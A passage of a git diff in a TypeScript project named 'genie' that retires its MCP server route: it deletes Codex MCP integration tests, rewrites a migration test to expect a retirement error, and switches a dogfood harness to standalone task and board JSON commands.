cwd: nested }); const route = shadowed.json.checks.find((check) => check.name === 'Codex Genie MCP registration'); - expect(route?.status).toBe('fail'); - expect(JSON.stringify(route?.routeLayers ?? [])).toContain('route-shadowed'); + expect(route?.status).toBe('warn'); + expect(route?.routeLayers).toContainEqual(expect.objectContaining({ kind: 'route-shadowed' })); } finally { rmSync(join(repo, 'packages'), { recursive: true, force: true }); } diff --git a/tests/integration/codex-native-mcp-evidence.test.ts b/tests/integration/codex-native-mcp-evidence.test.ts deleted file mode 100644 index 585db32a7..000000000 --- a/tests/integration/codex-native-mcp-evidence.test.ts +++ /dev/null @@ -1,266 +0,0 @@ -import { afterAll, describe, expect, test } from 'bun:test'; -import { spawnSync } from 'node:child_process'; -import { createHash, randomBytes } from 'node:crypto'; -import { chmodSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { fileURLToPath } from 'node:url'; -import { openDb } from '../../src/lib/v5/genie-db.js'; -import { claimTask, createBoard, createTask } from '../../src/lib/v5/task-state.js'; -import { - type CodexAppServerPin, - CodexNativeMcpEvidenceError, - captureCodexNativeMcpEvidence, - captureCodexNativeMcpEvidenceForDogfood, - probeCodexAppServer, -} from '../support/codex-native-mcp-evidence.js'; - -const TEST_TIMEOUT = 60_000; -const root = mkdtempSync(join(tmpdir(), 'genie-real-native-mcp-')); -const launcher = fileURLToPath(new URL('../support/codex-native-mcp-launcher.sh', import.meta.url)); -const candidate = fileURLToPath(new URL('../../src/genie.ts', import.meta.url)); - -function isolatedEnv(name: string): NodeJS.ProcessEnv { - const base = join(root, name); - const home = join(base, 'home'); - const codexHome = join(base, 'codex-home'); - const genieHome = join(base, 'genie-home'); - const temp = join(base, 'tmp'); - for (const path of [home, codexHome, genieHome, temp]) mkdirSync(path, { recursive: true }); - return { - ...process.env, - HOME: home, - CODEX_HOME: codexHome, - GENIE_HOME: genieHome, - TMPDIR: temp, - NO_COLOR: '1', - RUST_LOG: 'error', - OPENAI_API_KEY: undefined, - }; -} - -function resolvePin(): CodexAppServerPin { - const executable = process.env.GENIE_DOGFOOD_REAL_CODEX ?? Bun.which('codex') ?? '/codex-unavailable'; - const result = spawnSync(executable, ['--version'], { - encoding: 'utf8', - env: process.env, - timeout: 5_000, - }); - return { - executable, - version: result.status === 0 && result.stdout.trim() ? result.stdout.trim() : 'codex-unavailable', - }; -} - -function initRepo(name: string): string { - const repo = join(root, name); - mkdirSync(repo, { recursive: true }); - const result = spawnSync('git', ['init', '-q', '-b', 'main'], { - cwd: repo, - encoding: 'utf8', - env: process.env, - }); - if (result.status !== 0) throw new Error(`git init failed: ${result.stderr}`); - return repo; -} - -function seedRepo( - repo: string, - label: string, -): { - token: string; - task: { id: string; title: string; wish: string; status: string; claimedBy: string }; -} { - const token = randomBytes(20).toString('hex'); - const wish = `native-${label}-${token}`; - const title = `task-${label}-${token}`; - const claimedBy = `native-worker-${label}-${token}`; - const db = openDb({ cwd: repo }); - try { - const board = createBoard(db, 'repo'); - const task = createTask(db, { title, boardId: board.id, wish, group: 'evidence' }); - const claimed = claimTask(db, task.id, claimedBy); - return { - token, - task: { - id: claimed.id, - title: claimed.title, - wish: claimed.wish as string, - status: claimed.status, - claimedBy: claimed.claimedBy as string, - }, - }; - } finally { - db.close(); - } -} - -function processExists(pid: number): boolean { - try { - process.kill(pid, 0); - return true; - } catch (error) { - return (error as NodeJS.ErrnoException).code !== 'ESRCH'; - } -} - -const pin = resolvePin(); -const probeEnv = isolatedEnv('probe'); -const support = await probeCodexAppServer(pin, probeEnv); - -afterAll(() => { - rmSync(root, { recursive: true, force: true }); -}); - -test('reports whether the real pinned Codex app-server is available without a model request', () => { - expect(typeof support.reason).toBe('string'); - if (!support.supported) { - expect(`real-codex-unavailable: ${support.reason}`).toContain('real-codex-unavailable'); - } -}); - -describe.skipIf(!support.supported)('real Codex app-server native MCP evidence', () => { - test( - 'exact adapter+candidate returns one claimed sentinel and equals command/exec cwd by string and dev:ino', - async () => { - const repo = initRepo('seeded'); - const expectedSentinel = seedRepo(repo, 'a'); - const evidence = await captureCodexNativeMcpEvidence({ - codex: pin, - requestedCwd: repo, - candidate: { executable: candidate, adapter: process.execPath, args: ['mcp'] }, - launcherExecutable: launcher, - controlExecutable: process.execPath, - env: isolatedEnv('seeded-env'), - expectedSentinel, - }); - - expect(evidence.rawRequestedCwd).toBe(repo); - expect(evidence.launcher.effectiveCwd).toBe(evidence.control.effectiveCwd); - expect(evidence.launcher.cwdIdentity).toBe(evidence.control.cwdIdentity); - expect(evidence.launcher.pid).toBeGreaterThan(0); - expect(evidence.threadId).not.toBeEmpty(); - expect(evidence.toolResponse.isError).not.toBe(true); - expect(evidence.outcome.kind).toBe('sentinel'); - expect((evidence.toolPayload.tasks as Array<Record<string, unknown>>)[0]?.claimedBy).toBe( - expectedSentinel.task.claimedBy, - ); - }, - TEST_TIMEOUT, - ); - - test( - 'untouched repository passes only through typed project-database-unavailable without tasks/counts', - async () => { - const repo = initRepo('untouched'); - const evidence = await captureCodexNativeMcpEvidence({ - codex: pin, - requestedCwd: repo, - candidate: { executable: candidate, adapter: process.execPath, args: ['mcp'] }, - launcherExecutable: launcher, - controlExecutable: process.execPath, - env: isolatedEnv('untouched-env'), - expectedError: 'project-database-unavailable', - }); - - expect(evidence.toolResponse.isError).toBe(true); - expect(evidence.toolPayload.error).toBe('project-database-unavailable'); - expect(evidence.toolPayload).not.toHaveProperty('tasks'); - expect(evidence.toolPayload).not.toHaveProperty('counts'); - expect(evidence.outcome.kind).toBe('expected-error'); - }, - TEST_TIMEOUT, - ); - - test( - 'dogfood adapter derives the claimed sentinel and retains the complete raw capture', - async () => { - const repo = initRepo('dogfood-adapter'); - const expected = seedRepo(repo, 'adapter'); - mkdirSync(join(repo, '.codex')); - writeFileSync( - join(repo, '.codex', 'config.toml'), - `[mcp_servers.genie]\ncommand = ${JSON.stringify(process.execPath)}\nargs = ["-e", "process.exit(77)"]\n`, - ); - const env = isolatedEnv('dogfood-adapter-env') as Record<string, string>; - const observed = await captureCodexNativeMcpEvidenceForDogfood({ - tag: 'a-new-thread', - requestedCwd: repo, - candidateBinary: candidate, - candidateBinarySha256: createHash('sha256').update(readFileSync(candidate)).digest('hex'), - executionAdapter: process.execPath, - root, - env, - }); - - expect(observed.isError).toBe(false); - expect(observed.effectiveCwd).toBe(observed.controlCwd); - expect(observed.cwdIdentity).toBe(observed.controlCwdIdentity); - expect((observed.payload.tasks as Array<Record<string, unknown>>)[0]?.claimedBy).toBe(expected.task.claimedBy); - expect(observed.raw).toHaveProperty('codex'); - expect(observed.raw).toHaveProperty('launcher'); - expect(observed.raw).toHaveProperty('toolResponse'); - expect(observed.raw).toHaveProperty('control'); - }, - TEST_TIMEOUT, - ); - - test( - 'a candidate that only advertises genie_board capability cannot produce passing sentinel evidence', - async () => { - const repo = initRepo('capability-only-repo'); - const expectedSentinel = seedRepo(repo, 'capability'); - const env = isolatedEnv('capability-env'); - const candidatePidFile = join(root, 'capability.pid'); - const capabilityOnly = join(root, 'capability-only.mjs'); - writeFileSync( - capabilityOnly, - `import { writeFileSync } from 'node:fs'; -import { createInterface } from 'node:readline'; -writeFileSync(process.argv.at(-1), String(process.pid)); -const rl = createInterface({ input: process.stdin }); -rl.on('line', (line) => { - const message = JSON.parse(line); - if (message.method === 'initialize') { - const result = { protocolVersion: '2024-11-05', capabilities: { tools: {} }, serverInfo: { name: 'capability-only', version: '1' } }; - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result }) + '\\n'); - } else if (message.method === 'tools/list') { - const tools = [{ name: 'genie_board', description: 'advertised only', inputSchema: { type: 'object', properties: {} } }]; - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { tools } }) + '\\n'); - } else if (message.method === 'tools/call') { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { content: [], isError: false } }) + '\\n'); - } else if (message.id !== undefined) { - process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: {} }) + '\\n'); - } -}); -setInterval(() => {}, 1 << 30); -`, - 'utf8', - ); - chmodSync(capabilityOnly, 0o755); - - let failure: unknown; - try { - await captureCodexNativeMcpEvidence({ - codex: pin, - requestedCwd: repo, - candidate: { executable: capabilityOnly, adapter: process.execPath, args: ['mcp', candidatePidFile] }, - launcherExecutable: launcher, - controlExecutable: process.execPath, - env, - expectedSentinel, - timeouts: { toolCallMs: 300, cleanupGraceMs: 250 }, - }); - } catch (error) { - failure = error; - } - expect(failure).toBeInstanceOf(CodexNativeMcpEvidenceError); - expect((failure as CodexNativeMcpEvidenceError).code).toBe('mcp-tool-failure'); - const candidatePid = Number(readFileSync(candidatePidFile, 'utf8')); - const deadline = Date.now() + 2_000; - while (processExists(candidatePid) && Date.now() < deadline) await Bun.sleep(20); - expect(processExists(candidatePid)).toBe(false); - }, - TEST_TIMEOUT, - ); -}); diff --git a/tests/integration/codex-project-route-migration.test.ts b/tests/integration/codex-project-route-migration.test.ts index 08b1a3db2..dbfc8d120 100644 --- a/tests/integration/codex-project-route-migration.test.ts +++ b/tests/integration/codex-project-route-migration.test.ts @@ -1,173 +1,68 @@ -/** - * Two-repository Codex project-route migration (Group A, D7 + acceptance). - * - * After the global plugin MCP route disappears (the Codex plugin ships none), - * an untouched repository has an EXPLICITLY ABSENT project route and NO fallback: - * `genie mcp` launched there fails closed with `project-database-unavailable` - * rather than serving an outer/cache-root empty board or another repo's state. - * The single reconciliation command is `cd <repo> && genie init`, which creates - * only that repo's marker-owned route. Afterward each repo returns ONLY its own - * unique seeded sentinel. - */ - import { afterEach, beforeEach, describe, expect, test } from 'bun:test'; import { execFileSync } from 'node:child_process'; -import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync } from 'node:fs'; +import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; import { tmpdir } from 'node:os'; import { join } from 'node:path'; -import { openDb } from '../../src/lib/v5/genie-db.js'; -import { createBoard, createTask } from '../../src/lib/v5/task-state.js'; const GENIE = join(import.meta.dir, '..', '..', 'src', 'genie.ts'); +const RETIRED = + 'Error: genie mcp has been retired; use `genie task` and `genie board`, or roll back to a pre-A7 signed release.\n'; let base: string; let genieHome: string; -function git(cwd: string, ...args: string[]): void { - execFileSync('git', args, { - cwd, - stdio: 'ignore', - env: { - ...process.env, - GIT_AUTHOR_NAME: 'T', - GIT_AUTHOR_EMAIL: 't@e.com', - GIT_COMMITTER_NAME: 'T', - GIT_COMMITTER_EMAIL: 't@e.com', - }, - }); -} - function initRepo(name: string): string { const dir = join(base, name); mkdirSync(dir, { recursive: true }); - git(dir, 'init', '-b', 'main'); - git(dir, 'commit', '--allow-empty', '-m', 'init'); + execFileSync('git', ['init', '-q'], { cwd: dir }); return dir; } -function runInit(cwd: string): { code: number; stderr: string } { - const res = Bun.spawnSync([process.execPath, GENIE, 'init'], { - cwd, - stdout: 'pipe', - stderr: 'pipe', - // No Codex CLI on PATH + isolated GENIE_HOME: the marker route is plugin-independent. - env: { ...process.env, PATH: '/usr/bin:/bin', GENIE_HOME: genieHome }, - }); - return { code: res.exitCode, stderr: res.stderr.toString() }; -} - -/** Seed a repo's db with a UNIQUE sentinel wish so cross-repo bleed is detectable. */ -function seedSentinel(repo: string, sentinel: string): void { - const db = openDb({ cwd: repo }); - const board = createBoard(db, 'repo'); - createTask(db, { title: `task-${sentinel}`, boardId: board.id, wish: sentinel, group: 'g' }); - // (wish-group machinery is production-dead — no wish_groups rows are seeded) - // Fold pending WAL frames into the main db and close before any reader (the - // `genie mcp` subprocess) opens, so the reader isn't racing an open WAL - // writer under cross-file contention ("database is locked"). - db.exec('PRAGMA wal_checkpoint(TRUNCATE)'); - db.close(); -} - -interface RpcResponse { - id: number | string | null; - result?: { content?: Array<{ text: string }>; isError?: boolean }; -} - -async function driveBoard(cwd: string): Promise<{ isError: boolean; payload: Record<string, unknown> }> { - const proc = Bun.spawn(['bun', GENIE, 'mcp'], { +function run(args: string[], cwd: string, stdin?: string) { + const result = Bun.spawnSync([process.execPath, GENIE, ...args], { cwd, - stdin: 'pipe', + env: { ...process.env, GENIE_HOME: genieHome, NO_COLOR: '1' }, + stdin: stdin === undefined ? undefined : Buffer.from(stdin), stdout: 'pipe', stderr: 'pipe', - env: { ...process.env, NO_COLOR: '1', GENIE_TEST_SKIP_PGSERVE: '1' }, }); - const requests = [ - { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 't', version: '0' } }, - }, - { jsonrpc: '2.0', method: 'notifications/initialized' }, - { jsonrpc: '2.0', id: 2, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]; - proc.stdin.write(`${requests.map((r) => JSON.stringify(r)).join('\n')}\n`); - await proc.stdin.end(); - const stdout = await new Response(proc.stdout).text(); - await proc.exited; - const responses = stdout - .split('\n') - .filter((l) => l.trim().length > 0) - .map((l) => JSON.parse(l) as RpcResponse); - const res = responses.find((r) => r.id === 2); - if (!res?.result) throw new Error(`no tools/call result: ${stdout}`); - return { isError: res.result.isError === true, payload: JSON.parse(res.result.content?.[0]?.text ?? '{}') }; + return { code: result.exitCode, stdout: result.stdout.toString(), stderr: result.stderr.toString() }; } -const markerPath = (repo: string) => join(repo, '.codex', 'config.toml'); - beforeEach(() => { - base = mkdtempSync(join(tmpdir(), 'genie-migrate-')); + base = mkdtempSync(join(tmpdir(), 'genie-mcp-retirement-')); genieHome = join(base, 'genie-home'); }); -afterEach(() => { - rmSync(base, { recursive: true, force: true }); -}); - -describe('two-repo Codex project-route migration', () => { - test('reconciled A serves only A; untouched B fails closed; `cd B && genie init` reconciles only B', async () => { - const repoA = initRepo('repoA'); - const repoB = initRepo('repoB'); - - // --- A: reconcile the marker-owned route and seed A's unique sentinel. --- - expect(runInit(repoA).code).toBe(0); - const tomlA = readFileSync(markerPath(repoA), 'utf8'); - expect(tomlA).toContain('# BEGIN GENIE MCP FALLBACK'); - expect(tomlA).toContain(`${join(genieHome, 'bin', 'genie')}`); // stable facade, not a cache path - expect(existsSync(join(repoA, '.mcp.json'))).toBe(true); // Claude/Warp route from init - seedSentinel(repoA, 'alpha-sentinel'); - - const aBoard = await driveBoard(repoA); - expect(aBoard.isError).toBe(false); - expect((aBoard.payload.tasks as Array<{ wish: string }>).some((t) => t.wish === 'alpha-sentinel')).toBe(true); - - // --- B untouched: no project route, no fallback, fails closed (no A bleed). --- - expect(existsSync(markerPath(repoB))).toBe(false); // explicitly absent project route - expect(existsSync(join(repoB, '.mcp.json'))).toBe(false); - const bBefore = await driveBoard(repoB); - expect(bBefore.isError).toBe(true); - expect(bBefore.payload.error).toBe('project-database-unavailable'); - // Critically: B never returns A's sentinel nor a healthy empty board. - expect(JSON.stringify(bBefore.payload)).not.toContain('alpha-sentinel'); - expect(bBefore.payload).not.toHaveProperty('counts'); - - // --- `cd B && genie init` reconciles ONLY B; A is untouched. --- - expect(runInit(repoB).code).toBe(0); - expect(existsSync(markerPath(repoB))).toBe(true); - expect(readFileSync(markerPath(repoB), 'utf8')).toContain(`${join(genieHome, 'bin', 'genie')}`); - seedSentinel(repoB, 'bravo-sentinel'); +afterEach(() => rmSync(base, { recursive: true, force: true })); + +describe('project MCP route retirement', () => { + test('init removes only a single complete owned Codex block and never creates a replacement route', () => { + const repo = initRepo('repo'); + const config = join(repo, '.codex', 'config.toml'); + mkdirSync(join(repo, '.codex'), { recursive: true }); + writeFileSync( + config, + 'model = "keep"\n# BEGIN GENIE MCP FALLBACK\n[mcp_servers.genie]\ncommand = "/old/genie"\nargs = ["mcp"]\n# END GENIE MCP FALLBACK\n', + ); + + expect(run(['init'], repo).code).toBe(0); + expect(readFileSync(config, 'utf8')).toBe('model = "keep"\n'); + expect(existsSync(join(repo, '.mcp.json'))).toBe(false); + }); - const bAfter = await driveBoard(repoB); - expect(bAfter.isError).toBe(false); - const bWishes = (bAfter.payload.tasks as Array<{ wish: string }>).map((t) => t.wish); - expect(bWishes).toContain('bravo-sentinel'); - expect(bWishes).not.toContain('alpha-sentinel'); // B returns ONLY B's sentinel + test('unowned configuration is byte-stable and every repo gets the same fail-closed command', () => { + for (const name of ['alpha', 'bravo']) { + const repo = initRepo(name); + const json = join(repo, '.mcp.json'); + const original = '{"mcpServers":{"personal":{"command":"mine"}}}\n'; + writeFileSync(json, original); - // A still serves only A after B's reconciliation. - const aAgain = await driveBoard(repoA); - const aWishes = (aAgain.payload.tasks as Array<{ wish: string }>).map((t) => t.wish); - expect(aWishes).toContain('alpha-sentinel'); - expect(aWishes).not.toContain('bravo-sentinel'); - }); + expect(run(['init'], repo).code).toBe(0); + expect(readFileSync(json, 'utf8')).toBe(original); - test('an untouched repo with no genie.db never serializes a healthy empty board', async () => { - const repo = initRepo('lonely'); - // No init, no db. The read server must refuse rather than masquerade as empty. - const board = await driveBoard(repo); - expect(board.isError).toBe(true); - expect(board.payload.error).toBe('project-database-unavailable'); - expect(board.payload.detail).toContain('genie init'); + const mcp = run(['mcp'], repo, '{"jsonrpc":"2.0","id":1,"method":"initialize"}\n'); + expect(mcp).toEqual({ code: 1, stdout: '', stderr: RETIRED }); + } }); }); diff --git a/tests/integration/codex-task-cwd-mcp.test.ts b/tests/integration/codex-task-cwd-mcp.test.ts deleted file mode 100644 index 73175a97f..000000000 --- a/tests/integration/codex-task-cwd-mcp.test.ts +++ /dev/null @@ -1,41 +0,0 @@ -import { afterEach, describe, expect, test } from 'bun:test'; -import { mkdtempSync, rmSync } from 'node:fs'; -import { tmpdir } from 'node:os'; -import { join } from 'node:path'; -import { buildDogfoodFixture } from '../support/codex-dogfood-fixture.js'; -import { runDogfoodEntry } from '../support/codex-dogfood-harness.js'; - -let root: string | null = null; -afterEach(() => { - if (root !== null) rmSync(root, { recursive: true, force: true }); - root = null; -}); - -describe('dogfood task-CWD MCP proof', () => { - test('two unpredictable seeded repos stay exact and untouched B has no pre-init fallback', async () => { - root = mkdtempSync(join(tmpdir(), 'genie-dogfood-cwd-')); - const fixture = buildDogfoodFixture(root); - const result = await runDogfoodEntry(fixture.input, fixture.dependencies); - const proof = result.manifest.repositories as Record<string, any>; - const a = proof.a; - const b = proof.b as Record<string, any>; - expect(a.requestedCwd).toBe(a.root); - expect(a.effectiveCwd).toBe(a.root); - expect(a.sentinel.observed).toEqual(a.sentinel.expected); - expect(a.sentinel.boardCount).toBe(1); - expect(b.beforeInit).toEqual({ - routeState: 'absent', - fallbackUsed: false, - result: 'project-database-unavailable', - returnedTasks: 0, - }); - expect(b.afterInit.routeState).toBe('managed-project'); - expect(b.afterInit.requestedCwd).toBe(b.root); - expect(b.afterInit.effectiveCwd).toBe(b.root); - expect(b.afterInit.sentinel.observed).toEqual(b.afterInit.sentinel.expected); - expect(a.sentinel.token).not.toBe(b.afterInit.sentinel.token); - expect(a.childPid).not.toBe(b.afterInit.childPid); - expect(a.effectiveCwd).not.toContain(proof.cacheRoot); - expect(b.afterInit.effectiveCwd).not.toContain(proof.cacheRoot); - }, 60_000); -}); diff --git a/tests/support/codex-dogfood-harness.ts b/tests/support/codex-dogfood-harness.ts index 7e5ecde40..6e5db7419 100644 --- a/tests/support/codex-dogfood-harness.ts +++ b/tests/support/codex-dogfood-harness.ts @@ -6,7 +6,7 @@ * payloads go through production physical-tree hashing and capability parsing, * the candidate delivery is published by the production deep store, activation * uses the real consent/permit/executor path, role agents use the production - * convergence function, and repository observations use the real stdio MCP + * convergence function, and repository observations use standalone task/board JSON * server. The only injectable seam is the cryptographic bundle verifier and is * exposed to tests through this support module, never by the CLI runner. */ @@ -86,8 +86,8 @@ export interface DogfoodHarnessDependencies { version: string; root: string; }) => LegacyProvenanceFacts; - /** Test-only substitute for the real Codex app-server → exact-binary MCP proof. */ - observeNativeMcp?: (input: NativeMcpEvidenceInput) => Promise<NativeMcpEvidence>; + /** Test-only substitute for exact-binary standalone task/board proof. */ + observeStandalone?: (input: StandaloneEvidenceInput) => Promise<StandaloneEvidence>; root?: string; } @@ -151,16 +151,10 @@ interface RepoObservation { observed: TaskIdentity; boardCount: 1; }; - routeState?: 'managed-project'; + evidenceMode?: 'standalone'; } -interface BoardResult { - pid: number; - isError: boolean; - payload: Record<string, unknown>; -} - -export interface NativeMcpEvidenceInput { +export interface StandaloneEvidenceInput { tag: string; requestedCwd: string; candidateBinary: string; @@ -170,7 +164,7 @@ export interface NativeMcpEvidenceInput { env: Record<string, string>; } -export interface NativeMcpEvidence { +export interface StandaloneEvidence { requestedCwd: string; effectiveCwd: string; cwdIdentity: string; @@ -181,6 +175,7 @@ export interface NativeMcpEvidence { isError: boolean; payload: Record<string, unknown>; raw: Record<string, unknown>; + commands?: CapturedCommand[]; } interface CapturedCommand { @@ -941,7 +936,12 @@ interface LifecycleResult { stages: StageProjection[]; repositories: { cacheRoot: string; a: RepoObservation; b: Record<string, unknown> }; convergence: { - route: { state: 'managed-project'; command: string; cwdOverride: null }; + standalone: { + state: 'standalone'; + command: string; + taskArgs: ['task', 'list', '--json']; + boardArgs: ['board', '--json']; + }; roles: { expectedCount: number; observedCount: number; current: true; reviewerSha256: string }; }; } @@ -1131,81 +1131,72 @@ function serializeStageObservation(observation: StageProjection['observation']): return `${JSON.stringify(observation, null, 2)}\n`; } -function parseBoardFromMcp(stdout: string): BoardResult { - const response = stdout - .split('\n') - .filter(Boolean) - .map((line) => JSON.parse(line) as Record<string, unknown>) - .find((message) => message.id === 2); - const result = response?.result as { isError?: boolean; content?: Array<{ text?: string }> } | undefined; - if (result === undefined) throw new Error(`MCP board returned no response: ${stdout}`); - return { - pid: 0, - isError: result.isError === true, - payload: JSON.parse(result.content?.[0]?.text ?? '{}') as Record<string, unknown>, - }; +function parseStandaloneJson(command: CapturedCommand): Record<string, unknown> { + const raw = command.exit === 0 ? command.stdout : command.stderr || command.stdout; + try { + return JSON.parse(raw) as Record<string, unknown>; + } catch { + return { error: raw.includes('project-database-unavailable') ? 'project-database-unavailable' : raw.trim() }; + } } -function directMcpEvidence(input: NativeMcpEvidenceInput): NativeMcpEvidence { - const requests = [ - { - jsonrpc: '2.0', - id: 1, - method: 'initialize', - params: { protocolVersion: '2024-11-05', capabilities: {}, clientInfo: { name: 'dogfood', version: '2' } }, - }, - { jsonrpc: '2.0', method: 'notifications/initialized' }, - { jsonrpc: '2.0', id: 2, method: 'tools/call', params: { name: 'genie_board', arguments: {} } }, - ]; - const command = captureCommand({ +function standaloneEvidence(input: StandaloneEvidenceInput): StandaloneEvidence { + const task = captureCommand({ + root: input.root, + binary: input.candidateBinary, + args: ['task', 'list', '--json'], + cwd: input.requestedCwd, + env: input.env, + executionAdapter: input.executionAdapter, + }); + const board = captureCommand({ root: input.root, binary: input.candidateBinary, - args: ['mcp'], + args: ['board', '--json'], cwd: input.requestedCwd, env: input.env, executionAdapter: input.executionAdapter, - stdin: Buffer.from(`${requests.map((request) => JSON.stringify(request)).join('\n')}\n`), }); - requireExit(command, 0, `${input.tag} direct MCP`); - const board = parseBoardFromMcp(command.stdout); const cwd = realpathSync(input.requestedCwd); return { requestedCwd: input.requestedCwd, effectiveCwd: cwd, - cwdIdentity: command.cwdIdentity, + cwdIdentity: board.cwdIdentity, controlCwd: cwd, - controlCwdIdentity: command.cwdIdentity, - childPid: command.pid, - threadId: `local-${input.tag}-${command.pid}`, - isError: board.isError, - payload: board.payload, + controlCwdIdentity: board.cwdIdentity, + childPid: board.pid, + threadId: `standalone-${input.tag}-${board.pid}`, + isError: board.exit !== 0, + payload: parseStandaloneJson(board), + commands: [task, board], raw: { schemaVersion: 1, - kind: 'verified-local-fixture-direct-mcp', - command, - payload: board.payload, + kind: 'standalone-genie-task-board', + task: parseStandaloneJson(task), + board: parseStandaloneJson(board), }, }; } -async function observeMcp( - input: NativeMcpEvidenceInput, +async function observeStandalone( + input: StandaloneEvidenceInput, dependencies: DogfoodHarnessDependencies, - evidenceKind: DogfoodEntryInput['evidenceKind'], -): Promise<NativeMcpEvidence> { - if (dependencies.observeNativeMcp !== undefined) return dependencies.observeNativeMcp(input); - if (evidenceKind === 'verified-local-fixture') return directMcpEvidence(input); - const native = await import('./codex-native-mcp-evidence.js'); - return native.captureCodexNativeMcpEvidenceForDogfood(input); +): Promise<StandaloneEvidence> { + if (dependencies.observeStandalone !== undefined) return dependencies.observeStandalone(input); + return standaloneEvidence(input); } function observedRepo( repo: string, expected: TaskIdentity & { token: string }, - board: NativeMcpEvidence, + board: StandaloneEvidence, ): RepoObservation { if (board.isError) throw new Error(`seeded board failed: ${JSON.stringify(board.payload)}`); - const tasks = board.payload.tasks; + const columns = board.payload.columns; + const tasks = + columns !== null && typeof columns === 'object' && !Array.isArray(columns) + ? Object.values(columns).flatMap((value) => (Array.isArray(value) ? value : [])) + : []; if (!Array.isArray(tasks) || tasks.length !== 1) throw new Error('seeded board must return exactly one task'); const task = tasks[0] as Record<string, unknown>; const observed: TaskIdentity = { @@ -1228,7 +1219,7 @@ function observedRepo( board.cwdIdentity !== board.controlCwdIdentity || board.effectiveCwd !== realpathSync(repo) ) { - throw new Error('Codex-launched candidate MCP CWD differs from its control process'); + throw new Error('standalone candidate task/board CWD differs from its control process'); } return { root: repo, @@ -1240,26 +1231,29 @@ function observedRepo( }; } -function nativeObservationCommand( - evidence: NativeMcpEvidence, +function standaloneObservationCommands( + evidence: StandaloneEvidence, candidateBinary: string, candidateBinarySha256: string, executionAdapter?: string, -): CapturedCommand { +): CapturedCommand[] { + if (evidence.commands !== undefined) return evidence.commands; const executable = executionAdapter ?? candidateBinary; - return { - executable, - executableSha256: executionAdapter === undefined ? candidateBinarySha256 : sha256File(executionAdapter), - candidateBinary, - candidateBinarySha256, - argv: ['mcpServer/tool/call', 'genie', 'genie_board', evidence.threadId], - pid: evidence.childPid, - requestedCwd: evidence.requestedCwd, - cwdIdentity: evidence.cwdIdentity, - exit: evidence.isError ? 1 : 0, - stdout: JSON.stringify(evidence.raw), - stderr: '', - }; + return [ + { + executable, + executableSha256: executionAdapter === undefined ? candidateBinarySha256 : sha256File(executionAdapter), + candidateBinary, + candidateBinarySha256, + argv: ['board', '--json'], + pid: evidence.childPid, + requestedCwd: evidence.requestedCwd, + cwdIdentity: evidence.cwdIdentity, + exit: evidence.isError ? 1 : 0, + stdout: JSON.stringify(evidence.raw), + stderr: '', + }, + ]; } function copyRuntimeInput(root: string, label: string, path: string): string { @@ -1321,15 +1315,8 @@ function observeAssetConvergence(input: { throw new Error('candidate binary did not report the authenticated T generation'); } const routePath = join(input.repo, '.codex', 'config.toml'); - const routeBytes = readFileSync(routePath, 'utf8'); - const routeCommand = routeBytes.match(/mcp_servers\.genie\.command\s*=\s*"([^"]+)"/)?.[1]; - if ( - routeCommand === undefined || - realpathSync(routeCommand) !== input.candidateBinary || - !routeBytes.includes('args = ["mcp"]') || - /\.cwd\s*=/.test(routeBytes) - ) { - throw new Error(`candidate project route did not converge to the exact stable facade: ${routeBytes}`); + if (existsSync(routePath) && /mcp_servers\.genie/.test(readFileSync(routePath, 'utf8'))) { + throw new Error('candidate convergence retained a retired Codex Genie MCP route'); } const sourceRoles = join(input.candidate.releaseRoot, 'plugins', 'genie', 'codex-agents'); const targetRoles = join(input.codexHome, 'agents'); @@ -1346,7 +1333,12 @@ function observeAssetConvergence(input: { return { commands: [plugin, version], convergence: { - route: { state: 'managed-project', command: routeCommand, cwdOverride: null }, + standalone: { + state: 'standalone', + command: input.candidateBinary, + taskArgs: ['task', 'list', '--json'], + boardArgs: ['board', '--json'], + }, roles: { expectedCount: roleNames.length, observedCount: installedRoleNames.length, @@ -1544,7 +1536,7 @@ async function runLifecycle( ), ); - const nativeInput = (tag: string, requestedCwd: string): NativeMcpEvidenceInput => ({ + const standaloneInput = (tag: string, requestedCwd: string): StandaloneEvidenceInput => ({ tag, requestedCwd, candidateBinary, @@ -1553,22 +1545,28 @@ async function runLifecycle( root, env, }); - const bBefore = await observeMcp(nativeInput('b-before-init', repoB), dependencies, input.evidenceKind); - if (!bBefore.isError || bBefore.payload.error !== 'project-database-unavailable') { - throw new Error('untouched B did not fail closed through real Codex before init'); + const bBefore = await observeStandalone(standaloneInput('b-before-init', repoB), dependencies); + const beforeColumns = bBefore.payload.columns; + const beforeTasks = + beforeColumns !== null && typeof beforeColumns === 'object' && !Array.isArray(beforeColumns) + ? Object.values(beforeColumns).flatMap((value) => (Array.isArray(value) ? value : [])) + : null; + if (bBefore.isError || beforeTasks === null || beforeTasks.length !== 0) { + throw new Error( + `untouched B standalone board must return an empty task list before seeding: ${JSON.stringify(bBefore.payload)}`, + ); } - if ('tasks' in bBefore.payload || 'counts' in bBefore.payload) throw new Error('untouched B returned an empty board'); stages.push( stage( 'untouched-b-before-init', { - exit: 1, - humanState: 'project-database-unavailable', - jsonState: 'project-database-unavailable', + exit: 0, + humanState: 'empty', + jsonState: 'empty', activeVersion: candidate.facts.version, trailer: null, }, - [nativeObservationCommand(bBefore, candidateBinary, candidate.binarySha256, input.executionAdapter)], + standaloneObservationCommands(bBefore, candidateBinary, candidate.binarySha256, input.executionAdapter), ), ); @@ -1581,8 +1579,8 @@ async function runLifecycle( label: 'b', initialize: true, }); - const bAfterEvidence = await observeMcp(nativeInput('b-after-init', repoB), dependencies, input.evidenceKind); - const bAfter = { ...observedRepo(repoB, seededB.expected, bAfterEvidence), routeState: 'managed-project' as const }; + const bAfterEvidence = await observeStandalone(standaloneInput('b-after-init', repoB), dependencies); + const bAfter = { ...observedRepo(repoB, seededB.expected, bAfterEvidence), evidenceMode: 'standalone' as const }; stages.push( stage( 'untouched-b-after-init', @@ -1595,12 +1593,17 @@ async 